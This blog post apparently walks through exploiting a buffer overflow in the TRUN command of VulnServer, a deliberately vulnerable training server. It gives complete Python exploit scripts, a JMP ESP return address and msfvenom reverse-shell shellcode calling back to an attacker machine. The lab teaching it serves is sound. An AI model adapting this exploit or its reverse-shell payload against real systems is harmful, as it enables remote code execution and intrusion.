Exploiting TRUN in VulnServer
In my previous blog post,”Fuzzing Vulnserver with Spike and Wireshark” , I used Spike to fuzz VulnServer and find an entry point to cause the application to crash by overwriting EIP. Today I am going to build upon that work by modifying the exploit payload and hopefully achieving remote code execution by catching a reverse shell.
Target and Control EIP
As demonstrated previously by sending 5000 ‘A’s we could see that EIP was overwritten with \x41\x41\x41\x41, ( \x41 is the hex equivalent of A). However we need to improve upon this and overwrite EIP with exactly the packets required.
Using the pattern_create.rb tool provided by the Metasploit Framework we generate a 5000 byte pattern that we can use in our exploit payload. After we have successfully overwritten EIP, we must take note of the value contained in the register and feed this value to pattern_offset.rb. We can then determine at which point in the random string the value appears. Our Python code now looks like …
#!/usr/bin/python
import socket
import os
import sys
#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
############### Lines Snipped to save space for blog ######################
5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5
i6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk
"
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
The exploit payload is sent to VulnServer which is being debugged by Immunity Debugger. We can see that EIP has been overwritten with a value of 6F43376F. (Take note that ESP looks nice for exploit code placement as we can see our code in there already)
Now that we know the EIP value we can calculate the offset which is 2002.
root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 6F43376F
2002
The value of 2002 can now be incorporated into our Python script and sent to the Vulnerable Server.
#!/usr/bin/python
import socket
import os
import sys
#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "
buffer = 'A' * 2002 + '\x42\x42\x42\x42' + 'C' * 2994
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
So far we have been using an exlploit payload of 5000 bytes and we need to ensure that we maintain this as we modify our payload. As can be seen above the payload now contains 2002 ‘A’s , 4 ‘B’s and 2994 ‘C’s . We can now confirm this with Immunity Debugger.
Success! We have control over EIP and we can place the specific packets that we want. It’s almost time to move on but before we go any further lets identify if there are any bad characters.
Identifying Bad Characters
Before generating shell code we need to know if there are characters that will cause the payload to fail. Typically \x00 \x0a and \x0d will cause issues. When you think about it, this makes sense. Most applications that accept input will start to process it after receiving a carriage return (\x0d). To test for bad characters we generate all possible 256 characters in a payload and analyse the stack to check that none have been malformed. Lets get started and test.
#!/usr/bin/python
import socket
import os
import sys
#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "
badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f
\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21
\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33
\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45
\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57
\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69
\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d
\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f
\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1
\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3
\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7
\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
\xfa\xfb\xfc\xfd\xfe\xff"
buffer = 'A' * (2002-len(badchars)) + badchars + '\x42\x42\x42\x42' + 'C' * 2994
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
The python payload is ready. VulnServer is started on the Vista machine and it is running on port 5000. Immunity debugger is attached to the process and the payload is sent. The crash we expected occurred and the the characters we sent are in the stack.
Looking through the stack we can see that we are lucky and there are no bad characters. This will make the payload generation much easier.
ESP JUMP
We know that we control EIP and so far we have just overwritten it with four ‘B’s. It’s time to start overwriting EIP with something meaningful that moves us towards our target of a reverse shell payload. From our earlier discovery our payload is accessible via the ESP register. We need to find either a CALL ESP or JMP ESP in the VulnSever DLL. Let’s go hunting!
Using Immunity Debugger a JMP ESP (FFE4) was found at 625011AF. Let’s insert it in to the Python payload and see if it works. Remember that Intel x86 processors are little endian and therefore we need to reverse the memory address to \xAF\x11\x50\x62. Let’s modify our Python code and test it.
#!/usr/bin/python
import socket
import os
import sys
crash = "TRUN /.:/ "
#JMP 625011AF FFE4 JMP ESP
payload = ('\x41\x41')
buffer = "A" * 2002 + "\xaf\x11\x50\x62" + "\x90" * 50 + payload + "\x90" *50 + "D" * (2894 -len(payload))
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
Some NOP’s have also been placed in the exploit and the payload variable is ready to be modified. Once more we test that everything is working as expected. Let’s send the exploit and follow the code in Immunity Debugger. We need to verify that EIP is over written with 625011AF and that a jump takes place to ESP and hopefully it will hit the NOP sled \x90 * 50.
Success! We can see that EIP was overwritten as expected with the memory address pointing to a JMP ESP. To continue further push F7 to resume execution and confirm that we hit the NOP sled.
Reverse Shell
Everything is looking really good as we have full control of execution. We are close to the end but it would be for nothing if we didn’t get that reverse shell! Lets use the Metasploit Framework to generate the shellcode and embed it in our Python code.
The payload generated is ….
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -b '\x00'
This is a stageless payload that omits null bytes (\x00) from the payload. Combining the payload with our Python code results in …
#!/usr/bin/python
import socket
import os
import sys
crash = "TRUN /.:/ "
#JMP 625011AF FFE4 JMP ESP
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -b '\x00'
payload =(
"\xd9\xc4\xbe\x87\x36\x50\x31\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x4f\x31\x73\x19\x03\x73\x19\x83\xeb\xfc\x65\xc3\xac" +
"\xd9\xe0\x2c\x4d\x1a\x92\xa5\xa8\x2b\x80\xd2\xb9\x1e\x14" +
"\x90\xec\x92\xdf\xf4\x04\x20\xad\xd0\x2b\x81\x1b\x07\x05" +
"\x12\xaa\x87\xc9\xd0\xad\x7b\x10\x05\x0d\x45\xdb\x58\x4c" +
"\x82\x06\x92\x1c\x5b\x4c\x01\xb0\xe8\x10\x9a\xb1\x3e\x1f" +
"\xa2\xc9\x3b\xe0\x57\x63\x45\x31\xc7\xf8\x0d\xa9\x63\xa6" +
"\xad\xc8\xa0\xb5\x92\x83\xcd\x0d\x60\x12\x04\x5c\x89\x24" +
"\x68\x32\xb4\x88\x65\x4b\xf0\x2f\x96\x3e\x0a\x4c\x2b\x38" +
"\xc9\x2e\xf7\xcd\xcc\x89\x7c\x75\x35\x2b\x50\xe3\xbe\x27" +
"\x1d\x60\x98\x2b\xa0\xa5\x92\x50\x29\x48\x75\xd1\x69\x6e" +
"\x51\xb9\x2a\x0f\xc0\x67\x9c\x30\x12\xcf\x41\x94\x58\xe2" +
"\x96\xae\x02\x6b\x5a\x9c\xbc\x6b\xf4\x97\xcf\x59\x5b\x03" +
"\x58\xd2\x14\x8d\x9f\x15\x0f\x69\x0f\xe8\xb0\x89\x19\x2f" +
"\xe4\xd9\x31\x86\x85\xb2\xc1\x27\x50\x14\x92\x87\x0b\xd4" +
"\x42\x68\xfc\xbc\x88\x67\x23\xdc\xb2\xad\x52\xdb\x25\x8e" +
"\xcd\xe3\x93\x66\x0c\xe3\xca\x2d\x99\x05\x86\xc1\xcf\x9e" +
"\x3f\x7b\x4a\x54\xa1\x84\x40\xfc\x42\x16\x0f\xfc\x0d\x0b" +
"\x98\xab\x5a\xfd\xd1\x39\x77\xa4\x4b\x5f\x8a\x30\xb3\xdb" +
"\x51\x81\x3a\xe2\x14\xbd\x18\xf4\xe0\x3e\x25\xa0\xbc\x68" +
"\xf3\x1e\x7b\xc3\xb5\xc8\xd5\xb8\x1f\x9c\xa0\xf2\x9f\xda" +
"\xac\xde\x69\x02\x1c\xb7\x2f\x3d\x91\x5f\xb8\x46\xcf\xff" +
"\x47\x9d\x4b\x0f\x02\xbf\xfa\x98\xcb\x2a\xbf\xc4\xeb\x81" +
"\xfc\xf0\x6f\x23\x7d\x07\x6f\x46\x78\x43\x37\xbb\xf0\xdc" +
"\xd2\xbb\xa7\xdd\xf6")
buffer = "A" * 2002 + "\xaf\x11\x50\x62" + "\x90" *50 + payload + "\x90" *50
print "[*] Sending evil payload request to Vulnerable Server"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()
We are done! Lets run the code and see if we get a reverse shell.
It worked! Our payload was executed and the Windows machine established a reverse shell back to our Backtrack machine. The TRUN component of the Vulnserver is complete. My next blog post will attempt to exploit other Vulnserver modules.
One thought on “Exploiting TRUN in VulnServer”